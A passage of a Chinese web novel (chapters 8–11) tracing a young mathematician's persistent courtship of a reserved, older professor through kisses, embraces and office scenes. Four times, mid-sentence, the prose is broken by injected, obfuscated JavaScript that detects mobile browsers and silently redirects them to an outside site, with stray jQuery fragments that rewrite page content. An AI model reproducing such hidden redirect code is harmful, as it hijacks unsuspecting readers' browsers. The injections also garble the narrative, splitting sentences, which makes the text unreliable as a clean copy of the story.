他有可能要脱轨了。 8. 第 8 章 白凇靠近的时候其实有些忐忑。他也会害怕林泠会排斥他——有些时候他也会担心是不是会操之过急了,但是他真的很难控制住自己滚烫的喜欢,哪怕全力压抑也会有不听话的溢出。 林泠比他矮大概半个头,是偏瘦型的身材,不算很宽阔的肩膀搭配着细得过分的腰看上去比例依旧很好不露怯。白凇略微低下头去,感受到身边人明显不自然绷紧的肌肉,想了想,最终还是温和地问: “教授是被我昨天问的问题吓到了吗?” 这直球对于平时内向到无人聊天的林泠来说实在是太可怕了,他当场就感觉自己舌头就和打了结一样,好半天才说出口,甚至还打了一个磕巴:“……也没,没有。不过确实挺惊讶的。”他反应过来自己说的这话也不对劲之后又努力找补了一句:“……我导师也问过我类似的问题,他比较爱催婚。所以可能是有点阴影。” 白凇“哦”了一声,笑眯眯地跟道:“那教授喜欢什么类型的啊?” 林泠一瞬间感觉自己的心脏要炸开了,艰难道:“……没想过这方面。平时太忙了。” 白凇再次应了一声。林泠刚喘上一口气,白凇悠悠道:“教授你也是聪明人,我昨天问那个问题言下之意您应该也明白。我也没想过和您遮遮掩掩什么,想问问您会很排斥这方面吗?” 林泠:“……”这人是不是老天爷送来专门克他的啊。 他沉默了一会儿,轻声说:“……我不排斥同性恋。但是我对于谈恋爱这个方面……没什么想法,也很感谢你的好感,我……” 眼见着一张好人卡呼之欲出白凇干脆利落地给他打断了:“教授,您不排斥我对您的好感,对吗?” 林泠一愣:“……谈不上排斥的,对他人产生恋爱冲动是很正常的现象,只是……” 白凇倾身,捕捉住林泠有些躲闪的眼神,说:“您不排斥的话,可以给我一个机会让我追你吗?” “我知道您对于这方面没什么兴趣也不怎么接触,但是如果您对我不是很反感生理上没有抗拒情绪的话,我希望我可以尝试着追您,不知道您愿不愿意给我这个机会?” 太直白了……太直白了…… 林泠的大脑已经炸成了一片空白,脖子和耳根已经很不争气地红了。白凇就这么看着他,林泠完全不知道这种情况应该怎么处理,下一秒,白凇轻轻握住了他的手。 原本就乱成一锅粥的大脑立刻宕机。 他亲缘淡薄从小就没有什么机会和人亲近,握手拥抱乃至于亲吻都是他人生中几乎绝缘的事物。握上的那一刻手上的每一个触觉小体都因为这种陌生的感觉尖叫着跳着来往大脑狂送信号,脑子过载直接error。白凇看着他越来越红有些想笑,轻声唤道:“教授。” 耳边充血的嗡嗡声让林泠心乱如麻,他听见自己说:“……你还小,有的是机会接触更多的更好的人,也不一定想清楚了,我觉得你没有这个必要在我身上浪费时间……” 白凇很认真地看着他。林泠支撑不住自己的羞怯重重扭开头,被握着的手有些发抖,手指蜷曲。 “教授我真的对你很有好感,我从来没有这么喜欢一个人,虽然听起来有些太快了,但是我确实在看到你的第一眼就心动了……在你身上绝对不会是浪费时间,如果没有尝试追求自己如此心动的对象的机会,那未免也太遗憾了。” 不知过了多久,林泠才抬起头看向他。他的眼角面颊脖子耳朵都泛着不自然的红,在白凇眼中简直漂亮得惊心。“……追求谁是你的自由……我不会阻拦这个。但是我确实对这方面没有什么感觉……如果你确实希望尝试的话,我不会阻拦你,毕竟这种感情确实,很难控制。” 白凇笑了:“谢谢教授。” 林泠耳朵烫的要命:“……你还是叫我林泠吧。叫教授好奇怪。” 白凇轻轻应了一声。林泠的理智正在疯狂吼叫着质问——你到底在干什么?!你不是应该拒绝的吗?!他可是小你五岁,和你学生差不多大,你在干什么?!!! 然后白凇的声音再次传来:“教授,我可以抱你一下吗?” 林泠卡壳了。他所有的对于自己情绪的控制全都崩盘,他根本就不知道他此时此刻的眼神简直就是在哀求。白凇从他剧烈的心跳中听见了他的答案,于是无奈一笑,把林泠搂进了怀里。 林泠看起来瘦,在搂进怀里挤压掉衣服的空隙之后,感受到的是他惊人的瘦。白凇简直没法想象人的腰怎么能这么细,仿佛用力就会扭断一样。林泠反应过来时就已经深深陷进对方温暖的怀抱里,属于另外一个人的凌冽的气息就这样扑面而来将他拥住。白凇属于那种一看就有练过的那种身材,拥抱的时候可以感受到他漂亮的肌肉线条,林泠埋在他颈窝里,整个人就像烧熟了一样根本抬不起头。 他绝望地发现他的身体非常渴求这样的拥抱。也正是他多年来疾病的根源——年少时的颠沛流离让他极端缺爱,他的身体会因为缺爱而不断模拟出各种病痛寻求外界的关注。他和他的植物性神经关系超级差,基本上就是日常互扇巴掌的级别,谁也不放过谁。此时此刻他的理智完全被冲垮,植物性神经疯了一般冒头渴求着享受着依恋着这个拥抱,他控制不住沦陷下去,身体从紧绷到认输似的放松,完全倚靠在白凇怀里。 自暴自弃一般。 太不争气了……他没有想到他心底的这个大洞找到时机居然会给他的意志产生这么沉重的负担。他失去力气,而白凇就这样紧紧搂着他。很久。他俩似乎就这样默契地谁都不说话,只有白凇偶尔用手轻拍他的背部安抚他的颤抖。 好久好久。林泠终于抬起头,乌黑的眼睫毛微微发着颤,漂亮的蓝色眼睛带着复杂的情绪看向白凇。他不明白究竟是什么时候对方从他几乎没有波澜的举止里面看出了破绽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546545|171157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那样胜券在握地走到他面前坦然自己的爱。这几乎令人恼火。只能说过于聪明也不一定算好事,比如此时此刻林泠就后知后觉感到了一丝不悦。他轻轻从白凇怀里坐直,垂眼道:“我是不是有些太顺着你了?” 白凇敏锐地察觉到他情绪的变化,只能装出一副知道错了的可怜模样。林泠看他这样子活脱脱一条耷拉着耳朵的大型犬,心一软最后也没追究他的诡计多端,叹了一口气,算是放过他这一遭。白凇对于他人情绪变化的敏锐程度简直就像犬科动物的嗅觉一样灵敏。他试探着说:“那我今晚……?” 林泠无语地看了他一眼,心道这小子真是给点阳光就灿烂给点颜色开染坊,毫不留情道:“回你家去睡。” 计谋没能得逞的白某人只得悻悻回了家。白凇走之后林泠一个人在客厅站了一会儿。良久,他走去洗漱,之后脱力一般倒在床上。一股强烈的困意袭来,他就这样任由自己睡了过去,忘了吃药。 虽然他能够依靠自己就睡过去很神奇但是终归是没吃药,他四点多的时候醒了。房间黑漆漆的。他下意识去摸手机,屏幕亮起时的不适使他眯起眼睛,和时间一起出现的是紧随其后跳出来的一串消息。 他看了一眼是谁发的,然后默默划开了屏幕。 白凇在他睡过去之后的俩小时内给他发了13条消息,上一个敢这么给他发的是他导师,不是论文的批复就是催婚,他几乎是瞬间眼皮一跳。 白凇:教授,我买了些水果,你看看你有没有喜欢吃的? 白凇:【图片】 林泠看了一眼:这小子挺会买,他的口味就是各种贵的水果,嘴特别金贵特别刁,这人居然能猜个八九不离十。他接着往下翻。 白凇:其实感觉要追你难度很大啊教授 白凇:不知道能送你什么,毕竟你也不缺钱 白凇:我明天给你准备一份礼物 白凇:教授你的号码是多少? 白凇:教授你是睡了吗? 隔一段时间发一条。林泠的手机是不可能安静的,但是全都是工作内容,看不到闲聊的影子,白凇在里面显得鹤立鸡群。林泠沉吟了一下,感觉他的消息容易被工作消息淹没,于是给他设了一个置顶,然后打字回复。 鸣泠:号码是xxxxxxxxxxx 鸣泠:【回复图片】都可以 林泠刚想放下手机,对面就秒回 白凇:好的。 白凇:教授你今天醒这么早? 鸣泠:昨天睡得比较早 鸣泠:你没睡吗? 白凇:听到你消息醒了。 林泠皱起眉头:这人睡眠不好吗?看他精力充沛的样子也不像啊——试试其实是林教授对于电子产品的开发程度实在堪忧不知道专属铃声这种东西。 白凇:我能现在过来吗? 白凇:给你送礼物。 9. 第 9 章 ……现在过来?林泠抬头看了一眼黑漆漆的房间,沉思了一下同意了下来。他拖着脚步走到门口,在白凇敲门的那一刻打开了门。 林泠看起来还是有未尽的困意,头发被枕头压得有些凌乱,平日里显得有些冷淡的漂亮眉目因为困意显得有些湿润,浅红的唇瓣看起来格外柔软。深凹的锁骨上搭着薄薄的睡衣,冷白得几乎有一种玉质。白凇仅仅只是看到这一眼就免不了吞口水,他手上拿着一个文件夹,走进屋内,跟随着林泠走进他的房间。林泠有些没力气地靠在床靠背上,垂着眼等待着白凇的介绍。 白凇却似乎并不急于展示他的礼物。他静静地看着林泠,忽然起身,一条腿的膝盖屈起抵在床上,轻轻弯下腰,将林泠圈在他身体投射的阴影里。 林泠皱起眉头:“你……唔。” 突如其来的吻让林泠难掩错愕,几乎是下意识抓住被单。白凇身上总有一种很好闻很清爽的味道,他搂住林泠的腰,在对方因为触碰颤了一下时吻地更深,一点点夺走对方唇齿间的气息。林泠被亲得脑子发懵,大脑在这种陌生的刺激里分泌多巴胺,他几乎放弃了所有抵抗被对方搂在怀里,吻得耳根脖子都红了,气息凌乱不堪,也不知这个吻持续了多久,松开时林泠的呼吸有些急促,下意识做出推拒的动作,却被白凇抓住手腕,放在自己胸口。 “早安吻,教授。”白凇轻声说,“几个小时没见,我真的很想你。” 林泠实在是掩饰不住羞赧的神色,半晌,嘴里喃喃骂了一句:“……混账。” “教授怎么还骂人。” 林泠瞪着他心道自己干了什么混账事自己心里不知道吗,却一下子撞进对方清晰透亮的笑意里,眼底沉淀的爱意几乎要溢出来,一时有些愣神。白凇拿起文件袋,将绕着的白线一圈一圈打开。 他无疑有着极其漂亮的一双手,修长,白皙,骨节分明。白凇从牛皮纸袋里面拿出一本证书,还有一个奖牌。 林泠有些意外地看向他。 “按理来说追人怎么都应该送点礼物以表达自己的诚心……”白凇弯起眼睛,“但是我想教授这辈子收到的鲜花和赞誉实在是太多了,寻常的礼物似乎都很难入您的眼。哪怕我把我所有论文一作都改成您好像您也不会有太多的感觉——” “这个是我17岁那年参加世界数学奥林匹克竞赛拿到的金奖奖牌和证书。世界第一也是世界唯一一份,送给你。” 林泠讶然。 这个礼物实在有点别出心裁。林泠伸手接过,打开这本看起来就很精工的证书,纸页并没有因为这些年的过去而产生多大的变化。 这本证书的含金量可太高了。虽然已经是五年前的事情了,但是彼时刚回到北大任教的他对这件事情的报道印象很深。几乎是开天辟地一般的成绩,狠狠地在一众精英当中杀出了一道让人自惭形秽的少年锐气。 拿这个当礼物——确实有诚意,确实有分量。 “送我?” “送你。”白凇眼尾弯起一个弧度。 “如果教授很喜欢的话,能不能允许我再和你接一次吻?” 调笑的语气,非常得寸进尺的要求。林泠斜了他一眼,将这份珍贵的礼物收好放到书桌上,被再一次按在床靠背上,吻地肆意。 他的性子其实非常软——用白凇的话来说就是死缠烂打就能追到手那种。在被白凇看穿他的心动之后他似乎对于这些行为都有一种无奈的顺从,哪怕心理上羞得只想逃开,身体上却是淡淡地任人摆布。白凇感受着身下人随着自己不断加深的吻而紧绷,越发以一个不可置疑的力道压着,吻也逐渐从柔软的唇瓣上离开,落在眼角眉梢,侧颈锁骨。清晨的困意让一切都显得暧昧不清,清冷矜贵的人被他按倒在床上,动作有些生涩地探索着。 林泠眯起眼睛:“别弄……痒。” 然后他听见白凇低低地笑。林泠被人掐着腰,力度还一点点加深,敏感的皮肤不断向大脑示警,可嘴唇上依旧缠绵着,手上的力道怎么也用不上。 他听见白凇在他唇边轻声叫他“教授”。 ……凌晨四点半他和一个和自己学生一样大的男生吻得难舍难分。 羞赧终于占了上风,他试图去推拒,却被人握住手腕放在滚烫的心口,用一种央求的目光看着他。他实在是受不住这种眼神,红色从脸颊蔓延到眼角,他压抑着喉咙里的喘息,放弃了所有的抵抗。 这场暧昧的探索持续了多久林泠并不清楚。白凇直起腰时将他抱起,半搂在怀里给他反应的时间。林泠深吸一口气,刚想说什么就感觉刚才还稳稳在上位的人略低下头,声音里是难以掩饰的迷恋: “教授……我好喜欢你啊。” 林泠眼皮一条,咬牙道:“……别叫这个称呼。” 无时无刻不在提醒他搞了一个和自己学生一样大的同事到底是想怎样。 白凇伸手与他十指相扣,笑着说:“那您喜欢我叫您什么?林泠?Ring?” 林泠二字在他嘴里好像悬在窗边的风铃被扰动,把他的心碰得全是清脆的响声。Ring是另一种语言,拉丁语系的发音方式让这词就像含在舌底暧昧不清。林泠只觉得自己恨不得现在就带上户口本和身份证出门改名,每一种称呼都暧昧得让人心和脸一样滚烫。 这就是年下吗…… 他想到如果真的和这孩子在一起了他根本无法想象自己应该怎么和林霏陆离他们解释——这个事情太诡异了,不仅是个男的还比他小,更离谱的是他在这段关系里面明显处于下位…… 放在那两位包括他导师的眼里简直就是你的性冷淡直男朋友忽然有一天为爱做0 感觉是林霏会怀疑他被什么邪教组织洗脑或者非科学体系的神神鬼鬼上身了,估计得给他请个道士来驱驱邪。 林泠很无奈,光是想一想都感觉头疼脸热,自己的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546546|171157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男朋友预备役还一直抱着他不撒手,只能说还好今天没有早八。林泠从昨天自己没有依赖安眠药睡觉得出这种肢体上的亲密接触对他的身心其实是非常有益的——长期缺爱的环境下他的每一寸皮肤都渴望来自他人的爱抚,每一次表达爱意的动作都抚慰着数十年来始终紧绷的植物性神经, 林泠对于自己的渴望是有一个很清晰的认知的。但是他也明白不能随便沉浸进一段感情里,对于长期缺爱的他来说这种时候保持冷静实在是太重要了,如果沉浸其中无法自拔而有朝一日赠予爱意的人抽身而退,他根本就无法想象自己的身体会发出怎样的哭号。 是砒霜是蜜糖。 大概率是砒霜吧。 越是对于人类心理学的深入研究就越是清楚,这个物种的劣根性就在那里,一切的研究都是在悲观里面找乐观。 他从来没觉得自己的理智这么不顶用过。 他忽然听见白凇的声音:“教授是混血吗?” 他垂下眼睫:“是。中俄混血。” 这种混法一直都是非常权威的,西方骨东方皮混出来就没有丑的,而林泠这张脸更是代表了这种血统的上限,哪怕只是微微动神都如怒放的白山茶,带着一种悲怆意味的美。 白山茶的花语是“你怎敢轻视我的爱”。 白凇不敢将林泠归于软弱可欺的那类——不管怎样都是玉雕的骨,骨子里的坚韧和执着是不会更改也不可折弯的。他之所以可以做这些看起来“以下犯上”的行为是由于对方爱意下的默许,每引着对方流露出一分他都感到发自内心的愉悦。他贪婪地享受着这不可思议的美人对他的每一分不同的情绪,如枯木逢春。 林泠无奈地看了他一眼,这一眼似乎是对自己也似乎是对白凇。他似乎想要说什么,张嘴时却只剩下一句:“……你们项目组进度怎么样了。” 白凇回答:“才刚起头,正在做一些比较基础工作的交流。需要您参与的部分应该是要再过一段时间了。” 林泠颔首。 “教授……林泠。”白凇说,“我们现在算什么关系呢?” 林泠:“……” 他空白了片刻,下意识道:“亲朋好友。” ……好像也没什么问题。唇友谊。 这个包袱多少有点太冷幽默了,白凇忍不住笑出了声。“那大概什么时候——什么程度才可以是男朋友呢?” 男朋友。 林泠闭了闭眼睛。 说真的目前最让他难以跨越的就是这个年龄,整整五岁,他能对比他小这么多的人动心简直就是离谱,尽管白凇已经十足优秀,送出的礼物都能是世界第一的桂冠,但凡换一个人来,取得的成就林泠也不会多给一个眼神。 可是白凇是十足的天才,拥有当今世界上可以说是最强的天分和学术发展潜力。不管是他还是白凇自己都深深明白,这所拥有的一切的不可思议的含金量。 10. 第 10 章 “或许今天这个礼物还是显得太寒碜了一些,含金量不够高。”白凇笑说,“我之后会努力给您创造更多的惊喜的。” 这难度可不小——一时间林泠也有些好奇他会准备些什么,毕竟对于他们来说大多数东西都已经入不了眼了,钱完全就是身外之物,他们哪怕只是站在在那里身价都已经能够突破九位数了,房子车子更是不算什么,学术名誉早就已经累积到一页都统计不完了。至于外貌这些,当吸引性出现在他俩之间,这一点就已经十足势均力敌了。 世俗的享受对于这些学术狂魔来说根本算不上什么。到底什么礼物能打动人……这个很玄乎,林泠自己都不知道自己得到什么会开心,他项目研究也并不需要白凇专业的帮忙。 “比如?” “比如天上的星星。”白凇用一种非常轻松的语调说,“我这边一直都有收到中国国家天文局还有NASA这些机构的邀请,因为我在学习数学之余也修了人工智能以及天文学方面的一些课程作为调剂,成绩也还可以,如果你想要扩充你的1矿石标本库的话,我可以考虑一下申请部分月壤作为进入其单位的条件?” 林泠:“……” 这个人已经将知识转化为原子弹了已经不是金山银山了,现在属于两国都死死盯着他这边的归属问题,这次交流活动也不知道政府怎么同意的,白凇未来得到的学术成就从目前来看是非常有战略意义的,拿月壤进行交换看起来非常离谱,但是确是真实意义上有可能在他身上作为交换物的东西。 毕竟一颗小小的月球矿石和白凇这颗脑子相比,显然后者更有分量。 林泠已经有些哭笑不得了,隔空点了这混小子两下,问他:“你是准备留在国内还是回你母校那边?” 白凇说:“目前还是希望回国的,但是实事求是地说在国外求学环境比国内强,起码一些最前沿的精英人才之间的交流探讨还是让人很愉快的。所以在考虑中。” 林泠无奈道:“你要是想留在国内直接趁着这次机会赖p大得了,等你回去了接触了什么机密到时候真的要被暗杀在回国的路上了。留在国外也是你个人选择,毕竟搞学术这个东西在非战略资源领域遵循知识至上也是很正常的,只要你的主攻方向至始至终都是单纯的数学方向并且表态足够明显,也不是不可以躲开一些政治漩涡的拉扯。” 白凇边听边点头,在林泠讲完之后忽然笑眯眯问:“教授希望我留下来还是回去呢?” 林泠:“……”这臭小子。 他轻轻拎起几张资料不轻不重往白凇脸上一拍,声音里满是哭笑不得:“这是你自己的选择,如果和我牵扯是不是有些太儿戏了。” “?不是儿戏啊,考虑家属方面的问题本来就是很重要的一项工作。” “……”林泠闭了闭眼,感觉被这小王八蛋气得脑仁疼。 这八字还没一撇呢连家属都叫上了,万一要是没处上到时候为恋情所伤他还得背锅说没有争取优秀人才留在国内导致人才流失。 白凇瞅着好像有点逗过头了,又凑上来抱着林泠,脸从他颈侧钻出。林泠看着他贱兮兮的凤眼某一个瞬间真的想给他两巴掌。 作为一名光荣的人民教授,尽管他手底下的学生大多数都是天资聪慧但是依然算是一群神兽,高天资就得高要求,高要求总有人达不到一天天给林泠气得七窍生烟,此时此刻这人的无赖样又让他想到自己手底下那群不服管的神兽,忍不住翻了个白眼偏开了头。 白凇还是头一次看见他有这么鲜活的情绪眼睛都亮了起来。林泠刚才那样子活像一只高贵傲娇的卷毛猫,萌得人只想摸他脑袋,但是很显然摸教授脑袋一定会被打,所以白凇最终没敢犯这个贱,只是重新开了一个话题闲聊:“感觉当教授的学生应该很幸福吧。” 林泠拧起眉头和看神经病一样看了他一眼,嘴角抽了抽:“……你有空可以蹲在我办公室门口找他们采访一下看看幸不幸福,学校论坛上面骂我的帖子楼数可不低。” 白凇:“这是怎么回事?”按理来说有这么一张脸上课的人数应该都爆满啊? 林泠淡淡说:“在我这里论文过关率是非常低的打回去十几次也很正常——其实我也不明白他们是怎么把那么烂的东西交上来的,如果我放任不管的话我不会让他们在导师栏填我。” 简而言之,手底下这帮神兽在学术界对他毫无威胁但是在教学界让他声名扫地。这帮子神兽根本就没心情欣赏他这张脸,光是看他冷脸坐在那里就已经感觉头皮发麻了。 不过只要平时是努力认真的一般最后还是会给过的。 本质上还是心软的。 白凇有些忍俊不禁,大概能想象出那些学生哭天抢地的样子,问林泠:“如果我来给你当学生你会觉得我够格吗?” 林泠自从和他亲密接触了几次之后隐隐感觉自己的本质,一些被压在冷漠和理性下面的东西有些蠢蠢欲动了,他十分不解自己的自我防御机制为何会瓦解得这么快,听见这人的鬼话,漂亮的眼睛里终于出现了明晃晃的无语和嫌弃:“抱歉这边拒绝和学生有任何除了教学之外的关系,真考虑想来我手底下先把你那心思收一收。” 白凇“啧”了一声:“那还是不要了,我努力努力当你同事好了……教授你好有师德啊。” 然后他就被很有师德的漂亮教授狠狠肘了一下。林泠看出来了这人不是想聊天就是纯在这里逗他玩,无语之下想推开下逐客令,没想到对方忽然捏住了他的脸,笑眼弯弯: “教授你好可爱啊。” 天可怜见这句话比院长明天在法学院门口穿比基尼跳舞还要恐怖,林泠一时间被雷得外酥里嫩,气急败坏给了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546547|171157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这王八蛋一巴掌,连推带赶把这人甩在了卧室门外。 门内传来某个恶人先告状的委屈声:“教授我夸你可爱你还赶我走……” 林泠在门里面脸耳朵脖颈全都红透了,咬牙切齿地回道:“没把你赶出门已经很好了,滚。” 这个时候就吃了文明有素质的亏了。林泠性格一直都很内向,和别人交流不多也一直都很文明,一下子遇到这么个混账东西犹如秀才遇到兵——有理说不清,恼羞成怒之下只想给这人几脚。白凇笑得直不起腰,蹲跪在房门口,一边笑一边装可怜认错求开门,被教授识破之后被要求滚去罚站半小时。林泠根本不敢面对那个可怕的形容词,手撑着桌子埋着头好久脸上还是感觉发烫,真心实意想掐死某个没正形的。他花了好久才整理好心情,松了松领口,重新坐回床上闭目养神。 而某人掐表掐了三十分钟,一秒都不带多的立马开门找他家小教授了。林泠漂亮到极点的脸上写满了无语,嫌弃得懒得看他,总是冰封着的脸部似乎裂开了一些毛细血管一般的细缝,一时间竟鲜活到摄人心魄。白凇在他身边坐下的第一件事情就是在教授浅红得薄唇上啄吻一下,依然似笑非笑:“所以教授对我有好感的是哪方面呢?” 不管是什么肯定不是这张吐不出象牙的狗嘴。林泠心道。 他迎着白凇期待的目光沉吟半晌,吐出一个字: “脸。” 白凇:“?就这么肤浅?” 林泠没好气说:“我俩才认识几天呢除了外在还能知道什么?” 话是脱口而出之后才后知后觉怪异的。这种语速快还有情绪的挤兑话上一次说还是在半年前,他和朋友好不容易聚在一起才蹦出几句,小众到他本来根本不可能和一个认识时间如此短的人使用。他和白凇很显然都意识到了这点,两个人齐齐怔住了。白凇先一步于他反应过来,眼眸里似有星光倒映——能够调动起林泠的情绪,想来并没有几个人可以做到吧。 而在这个房间里,刚才说的都是因为他。 他因为他有了特殊的情绪起伏。 林泠抿住唇瓣,想说什么又感觉张口结舌,似乎也找不出合适的语句来适配这个场景,然后被人再次倾身吻住,耳畔是对方表白爱意的呢喃。他又一次红了脸,手在下意识探前时被人熟练抓住,这次不是放在心口而是十指相扣。 暧昧不清。 林泠很清楚自己撒谎了——他反而不是那种特别看重外表的人,准确来说由于他自身的外貌已经足够优越出众,所以他更多的是看人从内而外的感觉来进行第一印象分析。 而这人卜一见面就不讲道理撞入心房,原因是那双漂亮的眼睛透出了身体下燃烧着的金色火苗,璀璨温暖,触手却温润宛若琥珀。 不是因为脸,而是因为白凇就是白凇,仅仅因为他是白凇罢了。 11. 第 11 章 但是他有些胆怯……他不敢承认。似乎将自己如此之大的纰漏塞到别人手里是太艰难的事情。身体有些不听使唤,面前的人越发过分,他轻轻挣扎了一下,提醒某人自己扣数。哪怕是这样,对方也在他的唇瓣上流连了许久才恋恋不舍分开。林泠实在是脸热得抬不起来,刚想下逐客令就听见白凇似乎非常失望地说:“……真的不留我吗。” 林泠在心里骂了一句,无声怒斥自己要心狠一点,转眼间又被白凇重重揉进怀里。这人就好像想在他身上留下什么自己的气味的动物,抱着他不撒手,时不时还会用尖尖的虎牙碰一下他的皮肤。林泠皮肤本来就敏感,明明没怎么用力居然真给这人整出点红痕来,推又推不开,无奈道:“你是狗吗……” 白凇不答,只是贪婪嗅着他颈间的气息,驴唇不对马嘴地说:“教授你腰真的好细……” 爹的死变态。 林泠实在是扛不住这人这样亲热,头几乎埋到胸口,手执着抵在白凇肩膀上试图把他推开,但是这人不仅仅年纪比他小身体也比他好不只是一星半点,实在是扳不动分毫,几乎要气急败坏。 “……你专程来我这里耍流氓了是吗?!” 白凇一脸无辜:“怎么会呢,我只是靠教授近一点而已啊。” 被又亲又抱又咬的当事人被他的厚颜无耻气笑了,真是不知道自己怎么就招惹了这么一个难缠的货,每次刚想谴责他又被人一句“可是我真的很喜欢你”给堵回来——他算是知道了,自己根本就对自己心上人狠不下一点心,被这条大型犬又贴又蹭本质上也是他自己的默许,干脆自暴自弃放松下来,伸手摸了摸白凇的脑袋:“……怎么傻成这样。谁教你这么追人的。” 白凇即答:“我妈。” 林泠:“……令堂还真是很有风格,我想想听听她是怎么一个说法。” 白凇眼睛一弯,半认真半调侃地盯着一脸无语的林教授说:“我妈说了,遇见喜欢的就上,不管三七二十一先色诱,然后死缠烂打,建模在这里,操作可以随意一点,只要有持之以恒的精神就一定能在感情路上有所建设。” 很好,很不讲道理,某人也算是落实得很到位。林泠算是没办法了,便宜也被这人占了心也被他偷了,现在唯一能守住的线就是要不要确定关系了——但是这个似乎也是某人死缠烂打计划当中一定会攻克的一环。林泠强逼自己在糖衣炮弹中保持理智,为了自己最近两天的人身安全,不管某人怎么求都没同意对方从楼上搬下来。不在学校的每一分钟他几乎都被拥在一个温暖踏实的怀抱里——白凇仿佛有那个分离焦虑症,碰不到摸不着都会很难受,林泠本身不排斥又惯着他,这人就越发有恃无恐,恨不得让林泠床都不用下脚都不用沾地,体现了了超级大挂件应有的安全感和碍事感。 林泠也不知道自己这个被追的怎么能这么失败,被这小子拿捏得死死的,也没有什么欲擒故纵的把戏可以玩——亲都亲过了好像说别的也没有什么大用处了。 白凇不定时会出现在林泠的办公室里,而这种工作场所林泠都会和他1约法三章绝对不能干一点出格的事情,白凇也清楚他的脾气,工作的时候会尽力不影响他。而林泠也会选择在办公室里面进行自己的劝退工作。 “……这个月第几次了。”林泠冷冷地看着眼前的学生,学生根本不敢和他对视,和鹌鹑一样。“说了很多次了你这个论文很多论述点根本没有把过程分析写清楚,引用他人观点的比例远大于自身观点,串在一起何止是逻辑不通,连最基本的语法都不通。我这个月已经让你改了第五次了吧,你就不能长点记性?” 白凇在旁边看着都替学生捏一把汗。虽然说大学生的论文和多都是东拼西凑得过且过,但是林泠似乎根本不这样认为。他对于学生平时作业的严格程度也是非常有名的,能从他手上过的学生都算是了不得的翘楚了,斗胆跟着他的两三名研究生更是从头骂到尾,一回头发表了不知多少篇学术论文了。 之所以能管的这么严也是因为林泠过硬的自身实力,完全一本人肉索引器,哪怕你自以为找到了再冷门的资料都能在他脑内有专属的篇目索引,相比之下拙劣的洗稿和模仿不存在空间。他手底下的学生成绩都很好但是确实没有几个人喜欢他——毕竟这冷厉地教学风格真不是几个人能抗得住的,有时修改了十几次又被打回,看见对方居然给你整理出了一系列可能和他所研究项目有帮助的各种篇目,有一种两眼发黑又哭笑不得的感觉。 林泠其实也有反思过是不是自己的态度太冷硬了所以学生才会有这么大的压力,也有试图尝试过,目前已经放弃——很显然如果他用温柔的语气把学生论文里面自以为巧妙的敷衍之处一一挑给他看这比态度差给人的观感更差了。 这就不是冰山美人了,是蛇蝎美人了。 白凇在林泠办公室里面看热闹这些日子基本上每天都能看见有过来交作业被批得狗血淋头回去的,大概只有五六个学生可以稍微往返几次过,没有能够一次过的。林泠属于那种他严格但是他也不会让你白费功夫,只要你跟着他的要求来,你就一定会有收获。每一次批复作业都会从不同的文献资料里面翻出相关可以让对方阅读加强的部分,精确到页码的那种,所以暂时也没有什么学生造反。 但是这件事情就好像你隔三岔五就必须来到这么一个优秀到恐怖的人面前凌虐一遍智商,不会太舒服就是了。 白凇观察了很久,大概明白了林泠没有赶他走的意思里也是想让他看看自己铁面无私的样子是怎样的,他对待犯错的学生会是什么态度,让他好好掂量一下是否能够接受自己每个方面。 或许刻薄,烦躁,焦虑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546548|171157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,冷漠。这都不是什么好的情绪。 林泠认为这些情绪是不好的,但是他终归是一个病人,他也不知道自己哪天会不会失手伤到家人。 如果你爱我,那你应该爱我的全部。 最后一名学生走之后林泠似乎是十足疲惫了,长长吐出一口气连眼睛都半眯起来,准备休息一会儿就启程回家了。白凇也放下书本。林泠在他放下书的那一刻掀开眼皮,和他的视线一触即分,问:“最近感觉怎么样?” 最近。那问的就是他“陪读”这段时间的感想了。 